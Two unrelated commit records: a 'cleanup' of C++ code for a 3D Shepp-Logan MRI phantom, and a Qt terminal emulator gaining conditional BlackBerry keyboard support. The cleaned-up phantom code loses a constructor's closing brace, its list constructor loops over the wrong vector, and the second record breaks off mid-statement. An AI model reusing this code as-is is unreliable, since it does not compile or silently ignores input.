<commit_before>#include "phantom.h" extern "C" { #include "arrayops.h" } #include <math.h> /* * SheppLogan3D.java * * Created on January 7, 2007, 8:46 PM */ /** * * Three-dimensional Shepp-Logan Phantom in both the Fourier and image domains. * * This is a class called SheppLogan3D. It can be used to generate Fourier domain * signal (or k-space) as well as image domain signal based on a 3-dimensional * analytical phantom in both domains. Please refer to the source code or * the article referenced below for further information. * * <br> * <br> The image below is a 3D rendering of the phantom in the image domain</p> * <p><p align="center"><img src="threed.png" width="285" height="345"></p><br></p> * * * <br> * The reconstructed images from the Fourier domain signals are shown below as animated gif: * * <p><p align="center"><img src="reconmovie.gif" width="345" height="345"></p><br></p> * * <br> * * * <br> * Please refer to * <br> * Koay CG, Sarlls JE, &#214zarslan E. * Three Dimensional Analytical Magnetic Resonance Imaging Phantom in the Fourier Domain. Magn Reson Med. 58: 430-436 (2007) * <br> * for further information. * * <br> * @see <a href=http://dx.doi.org/10.1002/mrm.21292>Ref</a> * @author Cheng Guan Koay * @since 07/25/2007 * * @version &#8722&#8734. */ /** Creates a new instance of SheppLogan3D */ Phantom::Phantom(std::vector<float> fieldOfView) { scalefloats(fieldOfView.data(), fieldOfView.size(), .5); // m_ellipsoids.push_back(Ellipsoid(0, 0, 0, fieldOfView[0], fieldOfView[1], fieldOfView[2], 0, 0, 0, 1)); m_ellipsoids.push_back(Ellipsoid(0, 0, 0, 0.69*fieldOfView[0], 0.92*fieldOfView[1], 0.9*fieldOfView[2], 0, 0, 0, 2.)); m_ellipsoids.push_back(Ellipsoid(0, 0, 0, 0.6624*fieldOfView[0], 0.874*fieldOfView[1], 0.88*fieldOfView[2], 0, 0, 0, -0.8)); m_ellipsoids.push_back(Ellipsoid(-0.22*fieldOfView[0], 0., -0.25*fieldOfView[2], 0.41*fieldOfView[0], 0.16*fieldOfView[1], 0.21*fieldOfView[2], (3*M_PI)/5., 0, 0, -0.2)); m_ellipsoids.push_back(Ellipsoid(0.22*fieldOfView[0], 0., -0.25*fieldOfView[2], 0.31*fieldOfView[0], 0.11*fieldOfView[1], 0.22*fieldOfView[2], (2*M_PI)/5., 0, 0, -0.2)); m_ellipsoids.push_back(Ellipsoid(0, 0.35*fieldOfView[1], -0.25*fieldOfView[2], 0.21*fieldOfView[0], 0.25*fieldOfView[1], 0.5*fieldOfView[2], 0, 0, 0, 0.2)); m_ellipsoids.push_back(Ellipsoid(0, 0.1*fieldOfView[1], -0.25*fieldOfView[2], 0.046*fieldOfView[0], 0.046*fieldOfView[1], 0.046*fieldOfView[2], 0, 0, 0, 0.2)); m_ellipsoids.push_back(Ellipsoid(-0.08*fieldOfView[0], -0.65*fieldOfView[1], -0.25*fieldOfView[2], 0.046*fieldOfView[0], 0.023*fieldOfView[1], 0.02*fieldOfView[2], 0, 0, 0, 0.1)); m_ellipsoids.push_back(Ellipsoid(0.06*fieldOfView[0], -0.65*fieldOfView[1], -0.25*fieldOfView[2], 0.046*fieldOfView[0], 0.023*fieldOfView[1], 0.02*fieldOfView[2], 0, 0, 0, 0.1)); m_ellipsoids.push_back(Ellipsoid(0.06*fieldOfView[0], -0.105*fieldOfView[1], 0.625*fieldOfView[2], 0.056*fieldOfView[0], 0.04*fieldOfView[1], 0.1*fieldOfView[2], M_PI/2., 0, 0, 0.2)); m_ellipsoids.push_back(Ellipsoid(0., 0.1*fieldOfView[1], 0.625*fieldOfView[2], 0.056*fieldOfView[0], 0.056*fieldOfView[1], 0.1*fieldOfView[2], M_PI/2., 0, 0, -0.2)); // number of ellipsoids /*NE = SheppLogan3D.ellipsoids.length; RT = new double[NE][3][3]; //transposed rotation matrices d = new double[NE][3]; //displacement vectors abc = new double[NE][3]; //The length of the principal axes rho = new double[NE]; // signal intensity for(int i=0; i<NE; i++){ d[i][0] = ellipsoids[i][0]; // delta_x d[i][1] = ellipsoids[i][1]; // delta_y d[i][2] = ellipsoids[i][2]; // delta_z abc[i][0] = ellipsoids[i][3]; // a abc[i][1] = ellipsoids[i][4]; // b abc[i][2] = ellipsoids[i][5]; // c RT[i] = MAT.transpose( MAT.dot( MAT.dot( SheppLogan3D.Rz(ellipsoids[i][6]), SheppLogan3D.Ry(ellipsoids[i][7]) ),SheppLogan3D.Rz(ellipsoids[i][8]) ) ); rho[i] = ellipsoids[i][9]; }//end for*/ } /** * User may add new ellipsoids and change their properties with this constructor. * * @param ellipsoids is a two dimensional matrix arranged according to the following convention: * <PRE> delta_x, delta_y, delta_z, a, b, c, phi, theta, psi, rho {{ 0, 0, 0, 0.69, 0.92, 0.9, 0, 0, 0, 2. }, { 0, 0, 0, 0.6624, 0.874, 0.88, 0, 0, 0, -0.8 }, { -0.22, 0., -0.25, 0.41, 0.16, 0.21, (3*M_PI)/5., 0, 0, -0.2 }, { 0.22, 0., -0.25, 0.31, 0.11, 0.22, (2*M_PI)/5., 0, 0, -0.2 }, { 0, 0.35, -0.25, 0.21, 0.25, 0.5, 0, 0, 0, 0.2 }, { 0, 0.1, -0.25, 0.046, 0.046, 0.046, 0, 0, 0, 0.2 }, { -0.08, -0.65, -0.25, 0.046, 0.023, 0.02, 0, 0, 0, 0.1 }, { 0.06, -0.65, -0.25, 0.046, 0.023, 0.02, 0, 0, 0, 0.1 }, { 0.06, -0.105, 0.625, 0.056, 0.04, 0.1, M_PI/2., 0, 0, 0.2 }, { 0., 0.1, 0.625, 0.056, 0.056, 0.1, M_PI/2., 0, 0, -0.2 }}; </PRE> * <br> * * Please to the paper mentioned above for further information on the notations. * */ Phantom::Phantom(std::vector<Ellipsoid> ellipsoids) { // number of ellipsoids /* RT = new double[NE][3][3]; //transposed rotation matrices d = new double[NE][3]; //displacement vectors abc = new double[NE][3]; //The length of the principal axes rho = new double[NE]; // signal intensity for(int i=0; i<NE; i++){ d[i][0] = ellipsoids[i][0]; // delta_x d[i][1] = ellipsoids[i][1]; // delta_y d[i][2] = ellipsoids[i][2]; // delta_z abc[i][0] = ellipsoids[i][3]; // a abc[i][1] = ellipsoids[i][4]; // b abc[i][2] = ellipsoids[i][5]; // c RT[i] = MAT.transpose( MAT.dot( MAT.dot( SheppLogan3D.Rz(ellipsoids[i][6]), SheppLogan3D.Ry(ellipsoids[i][7]) ),SheppLogan3D.Rz(ellipsoids[i][8]) ) ); rho[i] = ellipsoids[i][9]; }//end for */ for(size_t n=0; n<m_ellipsoids.size(); n++) m_ellipsoids.push_back(ellipsoids[n]); } /** * Given a list of position vectors, i.e. {{x1,y1,z1},{x2,y2,z2},...}, * the image domain signals at those locations are returned. * */ std::vector<float> Phantom::imageDomainSignal(const std::vector<float>& coordinates) { int points = coordinates.size()/3; std::vector<float> data(points); for(int i=0; i<points; i++) { data[i] = imageDomainSignal(coordinates[3*i], coordinates[3*i+1], coordinates[3*i+2]); } return data; } /** * returning real value of the image intensity at (x,y,z). * */ float Phantom::imageDomainSignal(float x, float y, float z) { float position[3] = {x,y,z}; double signal = 0.0; for(size_t i=0; i<m_ellipsoids.size(); i++){ // loop through each of the ellipsoids Ellipsoid& ellipse = m_ellipsoids.at(i); // p = MAT.dot(RT[i],new double[] {x-d[i][0], y-d[i][1], z-d[i][2]}); float relativePosition[3]; ellipse.relativePosition(position, relativePosition); float sum = 0.0; for(int d=0; d<3; d++) { float projection = relativePosition[d]/ellipse.m_principalAxes[d]; sum += projection*projection; // sum = powf(p[0]/abc[i][0],2) + powf(p[1]/abc[i][1],2) + powf(p[2]/abc[i][2],2); } signal += (sum<=1.0) ? ellipse.m_intensity : 0; } return signal; } /** * Given a list of (kx,ky,kz), the k-space signals at those locations are returned. * The return array is of dimension kList.length by 2. * The first column of the array is the real part of the complex signal and the second is * the imaginary part of the complex signal. */ std::vector<complexFloat> Phantom::fourierDomainSignal(const std::vector<float>& coordinates) { int points = coordinates.size(); std::vector<complexFloat> data(points); for(int i=0; i<points; i++) { data[i] = fourierDomainSignal(coordinates[3*i], coordinates[3*i+1], coordinates[3*i+2]); } return data; } /** * returning the complex signal evaluated at ( kx, ky, kz) in an array of length 2, i.e. {Re, Im}. */ complexFloat Phantom::fourierDomainSignal(float kx, float ky, float kz) { float k[3] = {kx,ky,kz}; complexFloat signal; // {Re, Im} , real and imaginary signals // double K = 0.0; double arg = 0.0; float coordinatesRotated[3]; for(size_t i=0; i<m_ellipsoids.size(); i++) { Ellipsoid& ellipsoid = m_ellipsoids.at(i); // K = MAT.norm( MAT.multiply(MAT.dot(RT[i],k), ellipsoid.m_principalAxes) ); ellipsoid.rotatedCoordinates(k, coordinatesRotated); float K = norm2(coordinatesRotated, 3); arg = 2.0 * M_PI * K; if(K==0.0){ // if K = 0 if( norm2(ellipsoid.m_displacement,3)==0.0 ){ // if displacement vector is zero signal.real() +=(4./3.)*M_PI* ellipsoid.m_intensity*ellipsoid.m_principalAxes[0]*ellipsoid.m_principalAxes[1]*ellipsoid.m_principalAxes[2]; }else{ // displacement vector is not zero double kd = dot(k, ellipsoid.m_displacement, 3); double temp = (4./3.)*M_PI* ellipsoid.m_intensity*ellipsoid.m_principalAxes[0]*ellipsoid.m_principalAxes[1]*ellipsoid.m_principalAxes[2]; signal.real() += temp * cosf(2.0 * M_PI * kd); signal.imag() -= temp * sinf(2.0 * M_PI * kd); } }else if (K<=0.002){ // if K<=0.002 if( norm2(ellipsoid.m_displacement,3)==0.0 ){ // if displacement vector is zero double temp = 4.1887902047863905 - 16.5366808961599*powf(K,2) + 23.315785507450016*powf(K,4); signal.real() += ellipsoid.m_intensity*ellipsoid.m_principalAxes[0]*ellipsoid.m_principalAxes[1]*ellipsoid.m_principalAxes[2]*temp; }else{ // if displacement vector is not zero double kd = dot(k, ellipsoid.m_displacement, 3); double temp1 = 4.1887902047863905 - 16.5366808961599*powf(K,2) + 23.315785507450016*powf(K,4); double temp2 = ellipsoid.m_intensity*ellipsoid.m_principalAxes[0]*ellipsoid.m_principalAxes[1]*ellipsoid.m_principalAxes[2]*temp1; signal.real() += temp2 * cosf(2.0 * M_PI * kd); signal.imag() -= temp2 * sinf(2.0 * M_PI * kd); } }else{ // K>0.002 if( norm2(ellipsoid.m_displacement,3)==0.0 ){ // if displacement vector is zero double temp = sinf(arg)-arg*cosf(arg); temp /= (2.0*powf(M_PI,2)*powf(K,3)); signal.real() += ellipsoid.m_intensity*ellipsoid.m_principalAxes[0]*ellipsoid.m_principalAxes[1]*ellipsoid.m_principalAxes[2]*temp; }else{ // displacement vector is not zero double kd = dot(k, ellipsoid.m_displacement, 3); double temp = sinf(arg)-arg*cosf(arg); temp /= (2.0*powf(M_PI,2)*powf(K,3)); temp *= ellipsoid.m_intensity*ellipsoid.m_principalAxes[0]*ellipsoid.m_principalAxes[1]*ellipsoid.m_principalAxes[2]; signal.real() += temp * cosf(2.0 * M_PI * kd); signal.imag() -= temp * sinf(2.0 * M_PI * kd); } }//end } return signal; } <commit_msg>cleanup<commit_after>#include "phantom.h" extern "C" { #include "arrayops.h" } #include <math.h> /* * SheppLogan3D.java * * Created on January 7, 2007, 8:46 PM */ /** * * Three-dimensional Shepp-Logan Phantom in both the Fourier and image domains. * * This is a class called SheppLogan3D. It can be used to generate Fourier domain * signal (or k-space) as well as image domain signal based on a 3-dimensional * analytical phantom in both domains. Please refer to the source code or * the article referenced below for further information. * * <br> * <br> The image below is a 3D rendering of the phantom in the image domain</p> * <p><p align="center"><img src="threed.png" width="285" height="345"></p><br></p> * * * <br> * The reconstructed images from the Fourier domain signals are shown below as animated gif: * * <p><p align="center"><img src="reconmovie.gif" width="345" height="345"></p><br></p> * * <br> * * * <br> * Please refer to * <br> * Koay CG, Sarlls JE, &#214zarslan E. * Three Dimensional Analytical Magnetic Resonance Imaging Phantom in the Fourier Domain. Magn Reson Med. 58: 430-436 (2007) * <br> * for further information. * * <br> * @see <a href=http://dx.doi.org/10.1002/mrm.21292>Ref</a> * @author Cheng Guan Koay * @since 07/25/2007 * * @version &#8722&#8734. */ /** Creates a new instance of SheppLogan3D */ Phantom::Phantom(std::vector<float> fieldOfView) { scalefloats(fieldOfView.data(), fieldOfView.size(), .5); m_ellipsoids.push_back(Ellipsoid(0, 0, 0, 0.69*fieldOfView[0], 0.92*fieldOfView[1], 0.9*fieldOfView[2], 0, 0, 0, 2.)); m_ellipsoids.push_back(Ellipsoid(0, 0, 0, 0.6624*fieldOfView[0], 0.874*fieldOfView[1], 0.88*fieldOfView[2], 0, 0, 0, -0.8)); m_ellipsoids.push_back(Ellipsoid(-0.22*fieldOfView[0], 0., -0.25*fieldOfView[2], 0.41*fieldOfView[0], 0.16*fieldOfView[1], 0.21*fieldOfView[2], (3*M_PI)/5., 0, 0, -0.2)); m_ellipsoids.push_back(Ellipsoid(0.22*fieldOfView[0], 0., -0.25*fieldOfView[2], 0.31*fieldOfView[0], 0.11*fieldOfView[1], 0.22*fieldOfView[2], (2*M_PI)/5., 0, 0, -0.2)); m_ellipsoids.push_back(Ellipsoid(0, 0.35*fieldOfView[1], -0.25*fieldOfView[2], 0.21*fieldOfView[0], 0.25*fieldOfView[1], 0.5*fieldOfView[2], 0, 0, 0, 0.2)); m_ellipsoids.push_back(Ellipsoid(0, 0.1*fieldOfView[1], -0.25*fieldOfView[2], 0.046*fieldOfView[0], 0.046*fieldOfView[1], 0.046*fieldOfView[2], 0, 0, 0, 0.2)); m_ellipsoids.push_back(Ellipsoid(-0.08*fieldOfView[0], -0.65*fieldOfView[1], -0.25*fieldOfView[2], 0.046*fieldOfView[0], 0.023*fieldOfView[1], 0.02*fieldOfView[2], 0, 0, 0, 0.1)); m_ellipsoids.push_back(Ellipsoid(0.06*fieldOfView[0], -0.65*fieldOfView[1], -0.25*fieldOfView[2], 0.046*fieldOfView[0], 0.023*fieldOfView[1], 0.02*fieldOfView[2], 0, 0, 0, 0.1)); m_ellipsoids.push_back(Ellipsoid(0.06*fieldOfView[0], -0.105*fieldOfView[1], 0.625*fieldOfView[2], 0.056*fieldOfView[0], 0.04*fieldOfView[1], 0.1*fieldOfView[2], M_PI/2., 0, 0, 0.2)); m_ellipsoids.push_back(Ellipsoid(0., 0.1*fieldOfView[1], 0.625*fieldOfView[2], 0.056*fieldOfView[0], 0.056*fieldOfView[1], 0.1*fieldOfView[2], M_PI/2., 0, 0, -0.2)); /** * User may add new ellipsoids and change their properties with this constructor. * * @param ellipsoids is a set of ellipsoids describing the phantom * * Please to the paper mentioned above for further information on the notations. * */ Phantom::Phantom(std::vector<Ellipsoid> ellipsoids) { for(size_t n=0; n<m_ellipsoids.size(); n++) m_ellipsoids.push_back(ellipsoids[n]); } /** * Given a list of position vectors, i.e. {{x1,y1,z1},{x2,y2,z2},...}, * the image domain signals at those locations are returned. * */ std::vector<float> Phantom::imageDomainSignal(const std::vector<float>& coordinates) { int points = coordinates.size()/3; std::vector<float> data(points); for(int i=0; i<points; i++) { data[i] = imageDomainSignal(coordinates[3*i], coordinates[3*i+1], coordinates[3*i+2]); } return data; } /** * returning real value of the image intensity at (x,y,z). * */ float Phantom::imageDomainSignal(float x, float y, float z) { float position[3] = {x,y,z}; double signal = 0.0; for(size_t i=0; i<m_ellipsoids.size(); i++){ // loop through each of the ellipsoids Ellipsoid& ellipse = m_ellipsoids.at(i); float relativePosition[3]; ellipse.relativePosition(position, relativePosition); float sum = 0.0; for(int d=0; d<3; d++) { float projection = relativePosition[d]/ellipse.m_principalAxes[d]; sum += projection*projection; } signal += (sum<=1.0) ? ellipse.m_intensity : 0; } return signal; } /** * Given a list of (kx,ky,kz), the k-space signals at those locations are returned. * The return array is of dimension kList.length by 2. * The first column of the array is the real part of the complex signal and the second is * the imaginary part of the complex signal. */ std::vector<complexFloat> Phantom::fourierDomainSignal(const std::vector<float>& coordinates) { int points = coordinates.size(); std::vector<complexFloat> data(points); for(int i=0; i<points; i++) { data[i] = fourierDomainSignal(coordinates[3*i], coordinates[3*i+1], coordinates[3*i+2]); } return data; } /** * returning the complex signal evaluated at ( kx, ky, kz) in an array of length 2, i.e. {Re, Im}. */ complexFloat Phantom::fourierDomainSignal(float kx, float ky, float kz) { float k[3] = {kx,ky,kz}; complexFloat signal; // {Re, Im} , real and imaginary signals double arg = 0.0; float coordinatesRotated[3]; for(size_t i=0; i<m_ellipsoids.size(); i++) { Ellipsoid& ellipsoid = m_ellipsoids.at(i); ellipsoid.rotatedCoordinates(k, coordinatesRotated); float K = norm2(coordinatesRotated, 3); arg = 2.0 * M_PI * K; if(K==0.0){ // if K = 0 if( norm2(ellipsoid.m_displacement,3)==0.0 ){ // if displacement vector is zero signal.real() +=(4./3.)*M_PI* ellipsoid.m_intensity*ellipsoid.m_principalAxes[0]*ellipsoid.m_principalAxes[1]*ellipsoid.m_principalAxes[2]; }else{ // displacement vector is not zero double kd = dot(k, ellipsoid.m_displacement, 3); double temp = (4./3.)*M_PI* ellipsoid.m_intensity*ellipsoid.m_principalAxes[0]*ellipsoid.m_principalAxes[1]*ellipsoid.m_principalAxes[2]; signal.real() += temp * cosf(2.0 * M_PI * kd); signal.imag() -= temp * sinf(2.0 * M_PI * kd); } }else if (K<=0.002){ // if K<=0.002 if( norm2(ellipsoid.m_displacement,3)==0.0 ){ // if displacement vector is zero double temp = 4.1887902047863905 - 16.5366808961599*powf(K,2) + 23.315785507450016*powf(K,4); signal.real() += ellipsoid.m_intensity*ellipsoid.m_principalAxes[0]*ellipsoid.m_principalAxes[1]*ellipsoid.m_principalAxes[2]*temp; }else{ // if displacement vector is not zero double kd = dot(k, ellipsoid.m_displacement, 3); double temp1 = 4.1887902047863905 - 16.5366808961599*powf(K,2) + 23.315785507450016*powf(K,4); double temp2 = ellipsoid.m_intensity*ellipsoid.m_principalAxes[0]*ellipsoid.m_principalAxes[1]*ellipsoid.m_principalAxes[2]*temp1; signal.real() += temp2 * cosf(2.0 * M_PI * kd); signal.imag() -= temp2 * sinf(2.0 * M_PI * kd); } }else{ // K>0.002 if( norm2(ellipsoid.m_displacement,3)==0.0 ){ // if displacement vector is zero double temp = sinf(arg)-arg*cosf(arg); temp /= (2.0*powf(M_PI,2)*powf(K,3)); signal.real() += ellipsoid.m_intensity*ellipsoid.m_principalAxes[0]*ellipsoid.m_principalAxes[1]*ellipsoid.m_principalAxes[2]*temp; }else{ // displacement vector is not zero double kd = dot(k, ellipsoid.m_displacement, 3); double temp = sinf(arg)-arg*cosf(arg); temp /= (2.0*powf(M_PI,2)*powf(K,3)); temp *= ellipsoid.m_intensity*ellipsoid.m_principalAxes[0]*ellipsoid.m_principalAxes[1]*ellipsoid.m_principalAxes[2]; signal.real() += temp * cosf(2.0 * M_PI * kd); signal.imag() -= temp * sinf(2.0 * M_PI * kd); } }//end } return signal; } <|endoftext|>
<commit_before>#include <QPainter> #include <QAbstractEventDispatcher> #include <QApplication> #include <QPaintEvent> #include <QFontMetrics> #include <qterm.h> #include <stdio.h> #include <QKeyEvent> #include <QTimer> #include <sys/select.h> #include <errno.h> #ifdef __QNX__ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <bps/bps.h> #include <bps/virtualkeyboard.h> #endif #define WIDTH 80 #define HEIGHT 17 #define BLINK_SPEED 1000 QTerm::QTerm(QWidget *parent) : QWidget(parent) { term_create( &terminal ); term_begin( terminal, WIDTH, HEIGHT, 0 ); init(); } QTerm::QTerm(QWidget *parent, term_t terminal) : QWidget(parent) { this->terminal = terminal; init(); } void QTerm::init() { char_width = 0; char_height = 0; cursor_x = -1; cursor_y = -1; cursor_on = 1; resize(1024, 600); term_set_user_data( terminal, this ); term_register_update( terminal, term_update ); term_register_cursor( terminal, term_update_cursor ); term_register_bell( terminal, term_bell ); notifier = new QSocketNotifier( term_get_file_descriptor(terminal), QSocketNotifier::Read ); exit_notifier = new QSocketNotifier( term_get_file_descriptor(terminal), QSocketNotifier::Exception ); cursor_timer = new QTimer( this ); QObject::connect(notifier, SIGNAL(activated(int)), this, SLOT(terminal_data())); QObject::connect(exit_notifier, SIGNAL(activated(int)), this, SLOT(terminate())); QObject::connect(cursor_timer, SIGNAL(timeout()), this, SLOT(blink_cursor())); #ifdef __QNX__ virtualkeyboard_show(); #endif cursor_timer->start(BLINK_SPEED); } QTerm::~QTerm() { delete notifier; delete exit_notifier; term_free( terminal ); } void QTerm::term_bell(term_t handle) { #ifdef __QNX__ char command[] = "msg::play_sound\ndat:json:{\"sound\":\"notification_general\"}"; int f = open("/pps/services/multimedia/sound/control", O_RDWR); write(f, command, sizeof(command)); ::close(f); #else QApplication::beep(); #endif } void QTerm::term_update(term_t handle, int x, int y, int width, int height) { QTerm *term = (QTerm *)term_get_user_data( handle ); term->update( x * term->char_width, y * term->char_height, width * term->char_width, height * term->char_height + term->char_descent ); } void QTerm::term_update_cursor(term_t handle, int x, int y) { QTerm *term = (QTerm *)term_get_user_data( handle ); // Update old cursor location term->update( term->cursor_x * term->char_width, term->cursor_y * term->char_height, term->char_width, term->char_height ); term->cursor_x = x; term->cursor_y = y; // Update new cursor location term->update( term->cursor_x * term->char_width, term->cursor_y * term->char_height, term->char_width, term->char_height ); } void QTerm::terminal_data() { if( !term_process_child( terminal ) ) { exit(0); } } void QTerm::terminate() { exit(0); } void QTerm::blink_cursor() { cursor_on ^= 1; update( cursor_x * char_width, cursor_y * char_height, char_width, char_height ); } void QTerm::paintEvent(QPaintEvent *event) { int i, j, color; int new_width; int new_height; const uint32_t **grid; const uint32_t **attribs; const uint32_t **colors; QPainter painter(this); QFont font; font.setStyleHint(QFont::TypeWriter); font.setFamily("Monospace"); font.setFixedPitch(true); font.setKerning(false); painter.setBackgroundMode(Qt::TransparentMode); painter.setBrush(QColor(8, 0, 0)); painter.setFont(font); // First erase the grid with its current dimensions painter.drawRect(event->rect()); new_width = painter.fontMetrics().maxWidth(); // Workaround for a bug in OSX - Dave reports that maxWidth returns 0, // when width of different characters returns the correct value if( new_width == 0 ) { new_width = painter.fontMetrics().width(QChar('X')); } new_height = painter.fontMetrics().lineSpacing(); if( char_width != new_width || char_height != new_height ) { char_width = new_width; char_height = new_height; char_descent = painter.fontMetrics().descent(); #ifdef __QNX__ { int kbd_height; kbd_height = BlackBerry::Keyboard::instance().keyboardHeight(); term_resize( terminal, contentsRect().width() / char_width, (contentsRect().height() - kbd_height) / char_height, 0 ); } #else term_resize( terminal, contentsRect().width() / char_width, contentsRect().height() / char_height, 0 ); #endif update( contentsRect() ); return; } painter.setPen(QColor(255, 255, 255)); painter.setBrush(QColor(255, 255, 255)); grid = term_get_grid( terminal ); attribs = term_get_attribs( terminal ); colors = term_get_colours( terminal ); for( i = 0; i < term_get_height( terminal ); i ++ ) { for( j = 0; j < term_get_width( terminal ); j ++ ) { if( cursor_on && j == cursor_x && i == cursor_y ) { painter.drawRect(j * char_width + 1, i * char_height + 1, char_width - 2, char_height - 2); painter.setPen(QColor(0, 0, 0)); painter.drawText(j * char_width, (i + 1) * char_height - char_descent, QString( QChar( grid[ i ][ j ] ) ) ); painter.setPen(QColor(255, 255, 255)); } else { color = term_get_fg_color( attribs[ i ][ j ], colors[ i ][ j ] ); painter.setPen(QColor((color >> 16) & 0xFF, (color >> 8) & 0xFF, color & 0xFF)); painter.drawText(j * char_width, (i + 1) * char_height - char_descent, QString( QChar( grid[ i ][ j ] ) ) ); } } } } void QTerm::keyPressEvent(QKeyEvent *event) { switch(event->key()) { // FIXME These first two are a workaround for a bug in QT. Remove once it is fixed case Qt::Key_CapsLock: case Qt::Key_Shift: break; case Qt::Key_Up: term_send_special( terminal, TERM_KEY_UP ); break; case Qt::Key_Down: term_send_special( terminal, TERM_KEY_DOWN ); break; case Qt::Key_Right: term_send_special( terminal, TERM_KEY_RIGHT ); break; case Qt::Key_Left: term_send_special( terminal, TERM_KEY_LEFT ); break; default: term_send_data( terminal, event->text().toUtf8().constData(), event->text().count() ); break; } } void QTerm::resizeEvent(QResizeEvent *event) { if( char_width != 0 && char_height != 0 ) { #ifdef __QNX__ { int kbd_height; kbd_height = BlackBerry::Keyboard::instance().keyboardHeight(); term_resize( terminal, event->size().width() / char_width, (event->size().height() - kbd_height) / char_height, 0 ); } #else term_resize( terminal, event->size().width() / char_width, event->size().height() / char_height, 0 ); #endif } } int main(int argc, char *argv[]) { term_t terminal; #ifdef __QNX__ if( bps_initialize() != BPS_SUCCESS ) { fprintf(stderr, "Failed to initialize bps (%s)\n", strerror( errno ) ); exit(1); } #endif if( !term_create( &terminal ) ) { fprintf(stderr, "Failed to create terminal (%s)\n", strerror( errno ) ); exit(1); } if( !term_begin( terminal, WIDTH, HEIGHT, 0 ) ) { fprintf(stderr, "Failed to begin terminal (%s)\n", strerror( errno ) ); exit(1); } { QCoreApplication::addLibraryPath("app/native/lib"); QApplication app(argc, argv); QTerm term(NULL, terminal); term.show(); return app.exec(); } } <commit_msg>Detect NDK version and conditionally use bps for keyboard commands<commit_after>#include <QPainter> #include <QAbstractEventDispatcher> #include <QApplication> #include <QPaintEvent> #include <QFontMetrics> #include <qterm.h> #include <stdio.h> #include <QKeyEvent> #include <QTimer> #include <sys/select.h> #include <errno.h> #ifdef __QNX__ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <bps/bps.h> #ifdef BPS_VERSION #include <bps/virtualkeyboard.h> #else #include <bbsupport/Keyboard> #include <bbsupport/Notification> #endif #endif #define WIDTH 80 #define HEIGHT 17 #define BLINK_SPEED 1000 QTerm::QTerm(QWidget *parent) : QWidget(parent) { term_create( &terminal ); term_begin( terminal, WIDTH, HEIGHT, 0 ); init(); } QTerm::QTerm(QWidget *parent, term_t terminal) : QWidget(parent) { this->terminal = terminal; init(); } void QTerm::init() { char_width = 0; char_height = 0; cursor_x = -1; cursor_y = -1; cursor_on = 1; resize(1024, 600); term_set_user_data( terminal, this ); term_register_update( terminal, term_update ); term_register_cursor( terminal, term_update_cursor ); term_register_bell( terminal, term_bell ); notifier = new QSocketNotifier( term_get_file_descriptor(terminal), QSocketNotifier::Read ); exit_notifier = new QSocketNotifier( term_get_file_descriptor(terminal), QSocketNotifier::Exception ); cursor_timer = new QTimer( this ); QObject::connect(notifier, SIGNAL(activated(int)), this, SLOT(terminal_data())); QObject::connect(exit_notifier, SIGNAL(activated(int)), this, SLOT(terminate())); QObject::connect(cursor_timer, SIGNAL(timeout()), this, SLOT(blink_cursor())); #ifdef __QNX__ #ifdef BPS_VERSION virtualkeyboard_show(); #else BlackBerry::Keyboard::instance().show(); #endif #endif cursor_timer->start(BLINK_SPEED); } QTerm::~QTerm() { delete notifier; delete exit_notifier; term_free( terminal ); } void QTerm::term_bell(term_t handle) { #ifdef __QNX__ char command[] = "msg::play_sound\ndat:json:{\"sound\":\"notification_general\"}"; int f = open("/pps/services/multimedia/sound/control", O_RDWR); write(f, command, sizeof(command)); ::close(f); #else QApplication::beep(); #endif } void QTerm::term_update(term_t handle, int x, int y, int width, int height) { QTerm *term = (QTerm *)term_get_user_data( handle ); term->update( x * term->char_width, y * term->char_height, width * term->char_width, height * term->char_height + term->char_descent ); } void QTerm::term_update_cursor(term_t handle, int x, int y) { QTerm *term = (QTerm *)term_get_user_data( handle ); // Update old cursor location term->update( term->cursor_x * term->char_width, term->cursor_y * term->char_height, term->char_width, term->char_height ); term->cursor_x = x; term->cursor_y = y; // Update new cursor location term->update( term->cursor_x * term->char_width, term->cursor_y * term->char_height, term->char_width, term->char_height ); } void QTerm::terminal_data() { if( !term_process_child( terminal ) ) { exit(0); } } void QTerm::terminate() { exit(0); } void QTerm::blink_cursor() { cursor_on ^= 1; update( cursor_x * char_width, cursor_y * char_height, char_width, char_height ); } void QTerm::paintEvent(QPaintEvent *event) { int i, j, color; int new_width; int new_height; const uint32_t **grid; const uint32_t **attribs; const uint32_t **colors; QPainter painter(this); QFont font; font.setStyleHint(QFont::TypeWriter); font.setFamily("Monospace"); font.setFixedPitch(true); font.setKerning(false); painter.setBackgroundMode(Qt::TransparentMode); painter.setBrush(QColor(8, 0, 0)); painter.setFont(font); // First erase the grid with its current dimensions painter.drawRect(event->rect()); new_width = painter.fontMetrics().maxWidth(); // Workaround for a bug in OSX - Dave reports that maxWidth returns 0, // when width of different characters returns the correct value if( new_width == 0 ) { new_width = painter.fontMetrics().width(QChar('X')); } new_height = painter.fontMetrics().lineSpacing(); if( char_width != new_width || char_height != new_height ) { char_width = new_width; char_height = new_height; char_descent = painter.fontMetrics().descent(); #ifdef __QNX__ { int kbd_height; #ifdef BPS_VERSION virtualkeyboard_get_height( &kbd_height ); #else kbd_height = BlackBerry::Keyboard::instance().keyboardHeight(); #endif term_resize( terminal, contentsRect().width() / char_width, (contentsRect().height() - kbd_height) / char_height, 0 ); } #else term_resize( terminal, contentsRect().width() / char_width, contentsRect().height() / char_height, 0 ); #endif update( contentsRect() ); return; } painter.setPen(QColor(255, 255, 255)); painter.setBrush(QColor(255, 255, 255)); grid = term_get_grid( terminal ); attribs = term_get_attribs( terminal ); colors = term_get_colours( terminal ); for( i = 0; i < term_get_height( terminal ); i ++ ) { for( j = 0; j < term_get_width( terminal ); j ++ ) { if( cursor_on && j == cursor_x && i == cursor_y ) { painter.drawRect(j * char_width + 1, i * char_height + 1, char_width - 2, char_height - 2); painter.setPen(QColor(0, 0, 0)); painter.drawText(j * char_width, (i + 1) * char_height - char_descent, QString( QChar( grid[ i ][ j ] ) ) ); painter.setPen(QColor(255, 255, 255)); } else { color = term_get_fg_color( attribs[ i ][ j ], colors[ i ][ j ] ); painter.setPen(QColor((color >> 16) & 0xFF, (color >> 8) & 0xFF, color & 0xFF)); painter.drawText(j * char_width, (i + 1) * char_height - char_descent, QString( QChar( grid[ i ][ j ] ) ) ); } } } } void QTerm::keyPressEvent(QKeyEvent *event) { switch(event->key()) { // FIXME These first two are a workaround for a bug in QT. Remove once it is fixed case Qt::Key_CapsLock: case Qt::Key_Shift: break; case Qt::Key_Up: term_send_special( 